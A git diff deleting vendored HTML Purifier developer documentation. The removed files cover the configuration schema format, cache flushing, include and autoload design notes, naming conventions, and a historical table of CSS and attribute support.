AllowedAttributes - AllowedElements - AllowedModules - Allowed - ForbiddenAttributes - ForbiddenElements - Element set tuning - BlockWrapper - Child def advanced twiddle - CoreModules - CustomDoctype - Advanced HTMLModuleManager twiddles - DefinitionID - DefinitionRev - Caching - Doctype - Parent - Strict - XHTML - Global environment - MaxImgLength - Attribute twiddle? (applies to two attributes) - Proprietary - SafeEmbed - SafeObject - Trusted - Extra functionality/tagsets - TidyAdd - TidyLevel - TidyRemove - Tidy - -== Output.* == - -These directly affect the output of Generator. These are all advanced -twiddles. - -== URI.* == - - AllowedSchemes - OverrideAllowedSchemes - Scheme tuning - Base - DefaultScheme - Host - Global environment - DefinitionID - DefinitionRev - Caching - DisableExternalResources - DisableExternal - DisableResources - Disable - Contextual/authority tuning - HostBlacklist - Authority tuning - MakeAbsolute - MungeResources - MungeSecretKey - Munge - Transformation behavior (munge can be grouped) - - diff --git a/vendor/htmlpurifier/docs/dev-config-schema.html b/vendor/htmlpurifier/docs/dev-config-schema.html deleted file mode 100644 index 07aecd35a..000000000 --- a/vendor/htmlpurifier/docs/dev-config-schema.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - Config Schema - HTML Purifier - - - -

    Config Schema

    - -
    Filed under Development
    -
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has a fairly complex system for configuration. Users - interact with a HTMLPurifier_Config object to - set configuration directives. The values they set are validated according - to a configuration schema, HTMLPurifier_ConfigSchema. -

    - -

    - The schema is mostly transparent to end-users, but if you're doing development - work for HTML Purifier and need to define a new configuration directive, - you'll need to interact with it. We'll also talk about how to define - userspace configuration directives at the very end. -

    - -

    Write a directive file

    - -

    - Directive files define configuration directives to be used by - HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ - in the form Namespace.Directive.txt (I - couldn't think of a more descriptive file extension.) - Directive files are actually what we call StringHashes, - i.e. associative arrays represented in a string form reminiscent of - PHPT tests. Here's a - sample directive file, Test.Sample.txt: -

    - -
    Test.Sample
    -TYPE: string/null
    -DEFAULT: NULL
    -ALLOWED: 'foo', 'bar'
    -VALUE-ALIASES: 'baz' => 'bar'
    -VERSION: 3.1.0
    ---DESCRIPTION--
    -This is a sample configuration directive for the purposes of the
    -<code>dev-config-schema.html<code> documentation.
    ---ALIASES--
    -Test.Example
    - -

    - Each of these segments has a specific meaning: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    KeyExampleDescription
    IDTest.SampleThe name of the directive, in the form Namespace.Directive - (implicitly the first line)
    TYPEstring/nullThe type of variable this directive accepts. See below for - details. You can also add /null to the end of - any basic type to allow null values too.
    DEFAULTNULLA parseable PHP expression of the default value.
    DESCRIPTIONThis is a...An HTML description of what this directive does.
    VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. - Directives that have been around since 1.0.0 don't have this, - but any new ones should.
    ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. - This is most useful for backwards compatibility and should - not be used otherwise.
    ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, - a comma separated list of parseable PHP expressions. This - is only allowed string, istring, text and itext TYPEs.
    VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and - should be a comma separated list of keypair duples. This - is only allowed string, istring, text and itext TYPEs.
    DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was - deprecated this version.
    DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be - used instead. Note that the directives will functionally be - different, although they should offer the same functionality. - If they are identical, use an alias instead.
    EXTERNALCSSTidyNot shown. Indicates if there is an external library - the user will need to download and install to use this configuration - directive. As of right now, this is merely a Google-able name; future - versions may also provide links and instructions.
    - -

    - Some notes on format and style: -

    - -
      -
    • - Each of these keys can be expressed in the short format - (KEY: Value) or the long format - (--KEY-- with value beneath). You must use the - long format if multiple lines are needed, or if a long format - has been used already (that's why ALIASES in our - example is in the long format); otherwise, it's user preference. -
    • -
    • - The HTML descriptions should be wrapped at about 80 columns; do - not rely on editor word-wrapping. -
    • -
    - -

    - Also, as promised, here is the set of possible types: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeExampleDescription
    string'Foo'String without newlines
    istring'foo'Case insensitive ASCII string without newlines
    text"A\nb"String with newlines
    itext"a\nb"Case insensitive ASCII string without newlines
    int23Integer
    float3.0Floating point number
    booltrueBoolean
    lookuparray('key' => true)Lookup array, used with isset($var[$key])
    listarray('f', 'b')List array, with ordered numerical indexes
    hasharray('key' => 'val')Associative array of keys to values
    mixednew stdclassAny PHP variable is fine
    - -

    - The examples represent what will be returned out of the configuration - object; users have a little bit of leeway when setting configuration - values (for example, a lookup value can be specified as a list; - HTML Purifier will flip it as necessary.) These types are defined - in - library/HTMLPurifier/VarParser.php. -

    - -

    - For more information on what values are allowed, and how they are parsed, - consult - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well - as - library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for - the semantics of the parsed values. -

    - -

    Refreshing the cache

    - -

    - You may have noticed that your directive file isn't doing anything - yet. That's because it hasn't been added to the runtime - HTMLPurifier_ConfigSchema instance. Run - maintenance/generate-schema-cache.php to fix this. - If there were no errors, you're good to go! Don't forget to add - some unit tests for your functionality! -

    - -

    - If you ever make changes to your configuration directives, you - will need to run this script again. -

    -

    Adding in-house schema definitions

    - -

    - Placing stuff directly in HTML Purifier's source tree is generally not a - good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your - life easier. -

    - -

    - The first is to pass an extra parameter to maintenance/generate-schema-cache.php - with the location of your directory (relative or absolute path will do). For example, - if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: - php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. -

    - -

    - Alternatively, you can create a small loader PHP file in the HTML Purifier base - directory named config-schema.php (this is the same directory - you would place a test-settings.php file). In this file, add - the following line for each directory you want to load: -

    - -
    $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
    - -

    You can even load a single file using:

    - -
    $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
    - -

    Storing custom definitions that you don't plan on sending back upstream in - a separate directory is definitely a good idea! Additionally, picking - a good namespace can go a long way to saving you grief if you want to use - someone else's change, but they picked the same name, or if HTML Purifier - decides to add support for a configuration directive that has the same name.

    - - - -

    Errors

    - -

    - All directive files go through a rigorous validation process - through - library/HTMLPurifier/ConfigSchema/Validator.php, as well - as some basic checks during building. While - listing every error out here is out-of-scope for this document, we - can give some general tips for interpreting error messages. - There are two types of errors: builder errors and validation errors. -

    - -

    Builder errors

    - -
    -

    - Exception: Expected type string, got - integer in DEFAULT in directive hash 'Ns.Dir' -

    -
    - -

    - You can identify a builder error by the keyword "directive hash." - These are the easiest to deal with, because they directly correspond - with your directive file. Find the offending directive file (which - is the directive hash plus the .txt extension), find the - offending index ("in DEFAULT" means the DEFAULT key) and fix the error. - This particular error would occur if your default value is not the same - type as TYPE. -

    - -

    Validation errors

    - -
    -

    - Exception: Alias 3 in valueAliases in directive - 'Ns.Dir' must be a string -

    -
    - -

    - These are a little trickier, because we're not actually validating - your directive file, or even the direct string hash representation. - We're validating an Interchange object, and the error messages do - not mention any string hash keys. -

    - -

    - Nevertheless, it's not difficult to figure out what went wrong. - Read the "context" statements in reverse: -

    - -
    -
    in directive 'Ns.Dir'
    -
    This means we need to look at the directive file Ns.Dir.txt
    -
    in valueAliases
    -
    There's no key actually called this, but there's one that's close: - VALUE-ALIASES. Indeed, that's where to look.
    -
    Alias 3
    -
    The value alias that is equal to 3 is the culprit.
    -
    - -

    - In this particular case, you're not allowed to alias integers values to - strings values. -

    - -

    - The most difficult part is translating the Interchange member variable (valueAliases) - into a directive file key (VALUE-ALIASES), but there's a one-to-one - correspondence currently. If the two formats diverge, any discrepancies - will be described in - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. -

    - -

    Internals

    - -

    - Much of the configuration schema framework's codebase deals with - shuffling data from one format to another, and doing validation on this - data. - The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange - class, which represents the purest, parsed representation of the schema. -

    - -

    - Hand-writing this data is unwieldy, however, so we write directive files. - These directive files are parsed by HTMLPurifier_StringHashParser - into HTMLPurifier_StringHashes, which then - are run through HTMLPurifier_ConfigSchema_InterchangeBuilder - to construct the interchange object. -

    - -

    - From the interchange object, the data can be siphoned into other forms - using HTMLPurifier_ConfigSchema_Builder subclasses. - For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema - generates a runtime HTMLPurifier_ConfigSchema object, - which HTMLPurifier_Config uses to validate its incoming - data. There is also an XML serializer, which is used to build documentation. -

    - - - - - diff --git a/vendor/htmlpurifier/docs/dev-flush.html b/vendor/htmlpurifier/docs/dev-flush.html deleted file mode 100644 index 4a3a78351..000000000 --- a/vendor/htmlpurifier/docs/dev-flush.html +++ /dev/null @@ -1,68 +0,0 @@ - - - - - - - - Flushing the Purifier - HTML Purifier - - - -

    Flushing the Purifier

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - If you've been poking around the various folders in HTML Purifier, - you may have noticed the maintenance directory. Almost - all of these scripts are devoted to flushing out the various caches - HTML Purifier uses. Normal users don't have to worry about this: - regular library usage is transparent. However, when doing development - work on HTML Purifier, you may find you have to flush one of the - caches. -

    - -

    - As a general rule of thumb, run flush.php whenever you make - any major changes, or when tests start mysteriously failing. - In more detail, run this script if: -

    - -
      -
    • - You added new source files to HTML Purifier's main library. - (see generate-includes.php) -
    • -
    • - You modified the configuration schema (see - generate-schema-cache.php). This usually means - adding or modifying files in HTMLPurifier/ConfigSchema/schema/, - although in rare cases modifying HTMLPurifier/ConfigSchema.php - will also require this. -
    • -
    • - You modified a Definition, or its subsystems. The most usual candidate - is HTMLPurifier/HTMLDefinition.php, which also encompasses - the files in HTMLPurifier/HTMLModule/ as well as if you've - customizing definitions without - the cache disabled. (see flush-generation-cache.php) -
    • -
    • - You modified source files, and have been using the standalone - version from the full installation. (see generate-standalone.php) -
    • -
    - -

    - You can check out the corresponding scripts for more information on what they - do. -

    - - - - diff --git a/vendor/htmlpurifier/docs/dev-includes.txt b/vendor/htmlpurifier/docs/dev-includes.txt deleted file mode 100644 index d3382b593..000000000 --- a/vendor/htmlpurifier/docs/dev-includes.txt +++ /dev/null @@ -1,281 +0,0 @@ - -INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION - -The Problem ------------ - -HTML Purifier contains a number of extra components that are not used all -of the time, only if the user explicitly specifies that we should use -them. - -Some of these optional components are optionally included (Filter, -Language, Lexer, Printer), while others are included all the time -(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these -are all developer specified: it is conceivable that certain Tokens are not -used, but this is user-dependent and should not be trusted. - -We should come up with a consistent way to handle these things and ensure -that we get the maximum performance when there is bytecode caches and -when there are not. Unfortunately, these two goals seem contrary to each -other. - -A peripheral issue is the performance of ConfigSchema, which has been -shown take a large, constant amount of initialization time, and is -intricately linked to the issue of includes due to its pervasive use -in our plugin architecture. - -Pros and Cons -------------- - -We will assume that user-based extensions will be included by them. - -Conditional includes: - Pros: - - User management is simplified; only a single directive needs to be set - - Only necessary code is included - Cons: - - Doesn't play nicely with opcode caches - - Adds complexity to standalone version - - Optional configuration directives are not exposed without a little - extra coaxing (not implemented yet) - -Include it all: - Pros: - - User management is still simple - - Plays nicely with opcode caches and standalone version - - All configuration directives are present - Cons: - - Lots of (how much?) extra code is included - - Classes that inherit from external libraries will cause compile - errors - -Build an include stub (Let's do this!): - Pros: - - Only necessary code is included - - Plays nicely with opcode caches and standalone version - - require (without once) can be used, see above - - Could further extend as a compilation to one file - Cons: - - Not implemented yet - - Requires user intervention and use of a command line script - - Standalone script must be chained to this - - More complex and compiled-language-like - - Requires a whole new class of system-wide configuration directives, - as configuration objects can be reused - - Determining what needs to be included can be complex (see above) - - No way of autodetecting dynamically instantiated classes - - Might be slow - -Include stubs -------------- - -This solution may be "just right" for users who are heavily oriented -towards performance. However, there are a number of picky implementation -details to work out beforehand. - -The number one concern is how to make the HTML Purifier files "work -out of the box", while still being able to easily get them into a form -that works with this setup. As the codebase stands right now, it would -be necessary to strip out all of the require_once calls. The only way -we could get rid of the require_once calls is to use __autoload or -use the stub for all cases (which might not be a bad idea). - - Aside - ----- - An important thing to remember, however, is that these require_once's - are valuable data about what classes a file needs. Unfortunately, there's - no distinction between whether or not the file is needed all the time, - or whether or not it is one of our "optional" files. Thus, it is - effectively useless. - - Deprecated - ---------- - One of the things I'd like to do is have the code search for any classes - that are explicitly mentioned in the code. If a class isn't mentioned, I - get to assume that it is "optional," i.e. included via introspection. - The choice is either to use PHP's tokenizer or use regexps; regexps would - be faster but a tokenizer would be more correct. If this ends up being - unfeasible, adding dependency comments isn't a bad idea. (This could - even be done automatically by search/replacing require_once, although - we'd have to manually inspect the results for the optional requires.) - - NOTE: This ends up not being necessary, as we're going to make the user - figure out all the extra classes they need, and only include the core - which is predetermined. - -Using the autoload framework with include stubs works nicely with -introspective classes: instead of having to have require_once inside -the function, we can let autoload do the work; we simply need to -new $class or accept the object straight from the caller. Handling filters -becomes a simple matter of ticking off configuration directives, and -if ConfigSchema spits out errors, adding the necessary includes. We could -also use the autoload framework as a fallback, in case the user forgets -to make the include, but doesn't really care about performance. - - Insight - ------- - All of this talk is merely a natural extension of what our current - standalone functionality does. However, instead of having our code - perform the includes, or attempting to inline everything that possibly - could be used, we boot the issue to the user, making them include - everything or setup the fallback autoload handler. - -Configuration Schema --------------------- - -A common deficiency for all of the conditional include setups (including -the dynamically built include PHP stub) is that if one of this -conditionally included files includes a configuration directive, it -is not accessible to configdoc. A stopgap solution for this problem is -to have it piggy-back off of the data in the merge-library.php script -to figure out what extra files it needs to include, but if the file also -inherits classes that don't exist, we're in big trouble. - -I think it's high time we centralized the configuration documentation. -However, the type checking has been a great boon for the library, and -I'd like to keep that. The compromise is to use some other source, and -then parse it into the ConfigSchema internal format (sans all of those -nasty documentation strings which we really don't need at runtime) and -serialize that for future use. - -The next question is that of format. XML is very verbose, and the prospect -of setting defaults in it gives me willies. However, this may be necessary. -Splitting up the file into manageable chunks may alleviate this trouble, -and we may be even want to create our own format optimized for specifying -configuration. It might look like (based off the PHPT format, which is -nicely compact yet unambiguous and human-readable): - -Core.HiddenElements -TYPE: lookup -DEFAULT: array('script', 'style') // auto-converted during processing ---ALIASES-- -Core.InvisibleElements, Core.StupidElements ---DESCRIPTION-- -

    - Blah blah -

    - -The first line is the directive name, the lines after that prior to the -first --HEADER-- block are single-line values, and then after that -the multiline values are there. No value is restricted to a particular -format: DEFAULT could very well be multiline if that would be easier. -This would make it insanely easy, also, to add arbitrary extra parameters, -like: - -VERSION: 3.0.0 -ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() -EXTERNAL: CSSTidy // this would be documented somewhere else with a URL - -The final loss would be that you wouldn't know what file the directive -was used in; with some clever regexps it should be possible to -figure out where $config->get($ns, $d); occurs. Reflective calls to -the configuration object is mitigated by the fact that getBatch is -used, so we can simply talk about that in the namespace definition page. -This might be slow, but it would only happen when we are creating -the documentation for consumption, and is sugar. - -We can put this in a schema/ directory, outside of HTML Purifier. The serialized -data gets treated like entities.ser. - -The final thing that needs to be handled is user defined configurations. -They can be added at runtime using ConfigSchema::registerDirectory() -which globs the directory and grabs all of the directives to be incorporated -in. Then, the result is saved. We may want to take advantage of the -DefinitionCache framework, although it is not altogether certain what -configuration directives would be used to generate our key (meta-directives!) - - Further thoughts - ---------------- - Our master configuration schema will only need to be updated once - every new version, so it's easily versionable. User specified - schema files are far more volatile, but it's far too expensive - to check the filemtimes of all the files, so a DefinitionRev style - mechanism works better. However, we can uniquely identify the - schema based on the directories they loaded, so there's no need - for a DefinitionId until we give them full programmatic control. - - These variables should be directly incorporated into ConfigSchema, - and ConfigSchema should handle serialization. Some refactoring will be - necessary for the DefinitionCache classes, as they are built with - Config in mind. If the user changes something, the cache file gets - rebuilt. If the version changes, the cache file gets rebuilt. Since - our unit tests flush the caches before we start, and the operation is - pretty fast, this will not negatively impact unit testing. - -One last thing: certain configuration directives require that files -get added. They may even be specified dynamically. It is not a good idea -for the HTMLPurifier_Config object to be used directly for such matters. -Instead, the userland code should explicitly perform the includes. We may -put in something like: - -REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks - -To indicate that if that class doesn't exist, and the user is attempting -to use the directive, we should fatally error out. The stub includes the core files, -and the user includes everything else. Any reflective things like new -$class would be required to tie in with the configuration. - -It would work very well with rarely used configuration options, but it -wouldn't be so good for "core" parts that can be disabled. In such cases -the core include file would need to be modified, and the only way -to properly do this is use the configuration object. Once again, our -ability to create cache keys saves the day again: we can create arbitrary -stub files for arbitrary configurations and include those. They could -even be the single file affairs. The only thing we'd need to include, -then, would be HTMLPurifier_Config! Then, the configuration object would -load the library. - - An aside... - ----------- - One questions, however, the wisdom of letting PHP files write other PHP - files. It seems like a recipe for disaster, or at least lots of headaches - in highly secured setups, where PHP does not have the ability to write - to its root. In such cases, we could use sticky bits or tell the user - to manually generate the file. - - The other troublesome bit is actually doing the calculations necessary. - For certain cases, it's simple (such as URIScheme), but for AttrDef - and HTMLModule the dependency trees are very complex in relation to - %HTML.Allowed and friends. I think that this idea should be shelved - and looked at a later, less insane date. - -An interesting dilemma presents itself when a configuration form is offered -to the user. Normally, the configuration object is not accessible without -editing PHP code; this facility changes thing. The sensible thing to do -is stipulate that all classes required by the directives you allow must -be included. - -Unit testing ------------- - -Setting up the parsing and translation into our existing format would not -be difficult to do. It might represent a good time for us to rethink our -tests for these facilities; as creative as they are, they are often hacky -and require public visibility for things that ought to be protected. -This is especially applicable for our DefinitionCache tests. - -Migration ---------- - -Because we are not *adding* anything essentially new, it should be trivial -to write a script to take our existing data and dump it into the new format. -Well, not trivial, but fairly easy to accomplish. Primary implementation -difficulties would probably involve formatting the file nicely. - -Backwards-compatibility ------------------------ - -I expect that the ConfigSchema methods should stick around for a little bit, -but display E_USER_NOTICE warnings that they are deprecated. This will -require documentation! - -New stuff ---------- - -VERSION: Version number directive was introduced -DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? -DEPRECATED-USE: If the directive was deprecated, what should the user use now? -REQUIRES: What classes does this configuration directive require, but are - not part of the HTML Purifier core? - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/dev-naming.html b/vendor/htmlpurifier/docs/dev-naming.html deleted file mode 100644 index cea4b006f..000000000 --- a/vendor/htmlpurifier/docs/dev-naming.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - -Naming Conventions - HTML Purifier - - - -

    Naming Conventions

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    The classes in this library follow a few naming conventions, which may -help you find the correct functionality more quickly. Here they are:

    - -
    - -
    All classes occupy the HTMLPurifier pseudo-namespace.
    -
    This means that all classes are prefixed with HTMLPurifier_. As such, all - names under HTMLPurifier_ are reserved. I recommend that you use the name - HTMLPurifierX_YourName_ClassName, especially if you want to take advantage - of HTMLPurifier_ConfigDef.
    - -
    All classes correspond to their path if library/ was in the include path
    -
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace - underscores with slashes and append .php and you'll have the location of - the class.
    - -
    Harness and Test are reserved class names for unit tests
    -
    The suffix Test indicates that the class is a subclass of UnitTestCase - (of the Simpletest library) and is testable. "Harness" indicates a subclass - of UnitTestCase that is not meant to be run but to be extended into - concrete test cases and contains custom test methods (i.e. assert*())
    - -
    Class names do not necessarily represent inheritance hierarchies
    -
    While we try to reflect inheritance in naming to some extent, it is not - guaranteed (for instance, none of the classes inherit from HTMLPurifier, - the base class). However, all class files have the require_once - declarations to whichever classes they are tightly coupled to.
    - -
    Strategy has a meaning different from the Gang of Four pattern
    -
    In Design Patterns, the Gang of Four describes a Strategy object as - encapsulating an algorithm so that they can be switched at run-time. While - our strategies are indeed algorithms, they are not meant to be substituted: - all must be present in order for proper functioning.
    - -
    Abbreviations are avoided
    -
    We try to avoid abbreviations as much as possible, but in some cases, - abbreviated version is more readable than the full version. Here, we - list common abbreviations: -
      -
    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • -
    • Def to Definition
    • -
    • $ret is the value to be returned in a function
    • -
    -
    - -
    Ambiguity concerning the definition of Def/Definition
    -
    While a definition normally defines the structure/acceptable values of - an entity, most of the definitions in this application also attempt - to validate and fix the value. I am unsure of a better name, as - "Validator" would exclude fixing the value, "Fixer" doesn't invoke - the proper image of "fixing" something, and "ValidatorFixer" is too long! - Some other suggestions were "Handler", "Reference", "Check", "Fix", - "Repair" and "Heal".
    - -
    Transform not Transformer
    -
    Transform is both a noun and a verb, and thus we define a "Transform" as - something that "transforms," leaving "Transformer" (which sounds like an - electrical device/robot toy).
    - -
    - - - - diff --git a/vendor/htmlpurifier/docs/dev-optimization.html b/vendor/htmlpurifier/docs/dev-optimization.html deleted file mode 100644 index 78f565813..000000000 --- a/vendor/htmlpurifier/docs/dev-optimization.html +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - -Optimization - HTML Purifier - - - -

    Optimization

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Here are some possible optimization techniques we can apply to code sections if -they turn out to be slow. Be sure not to prematurely optimize: if you get -that itch, put it here!

    - -
      -
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • -
    • Rewrite regexps into PHP code
    • -
    • Batch regexp validation (do as many per function call as possible)
    • -
    • Parallelize strategies
    • -
    - - - - diff --git a/vendor/htmlpurifier/docs/dev-progress.html b/vendor/htmlpurifier/docs/dev-progress.html deleted file mode 100644 index 105896ed6..000000000 --- a/vendor/htmlpurifier/docs/dev-progress.html +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - -Implementation Progress - HTML Purifier - - - - - -

    Implementation Progress

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Warning: This table is kept for historical purposes and - is not being actively updated. -

    - -

    Key

    - - - - - - - - -
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    - -

    CSS

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, - solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout - precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font - family not specified
    font-sizeCOMPOSITE(<absolute-size>, - <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, - 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for - in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, - <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), - Strange behavior in browsers
    list-style-typeENUM(...), - Well-supported values are: disc, circle, square, - decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also - CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, - <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), - <percentage>(positive))
    text-alignENUM(left, right, - center, justify)
    text-decorationNo blink (argh my eyes), not - enum, can be combined (composite sorta): underline, overline, - line-through
    text-indentCOMPOSITE(<length>, - <percentage>)
    text-transformENUM(capitalize, uppercase, - lowercase, none)
    widthCOMPOSITE(<length>, - <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), - IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, - possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, - super, top, text-top, middle, bottom, text-bottom), <percentage>, - <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, - but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
    positionENUM(static, relative, absolute, fixed) - relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), - Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; - will not implement list-item, run-in (Opera only) or table (no IE); - inline-block has incomplete IE6 support and requires -moz-inline-box - for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), - IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), - Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), - Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, - pre-line), Spotty implementation: - pre (no IE 5/6), nowrap (no IE 5, supported), - pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, -Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    - -

    Interesting Attributes

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
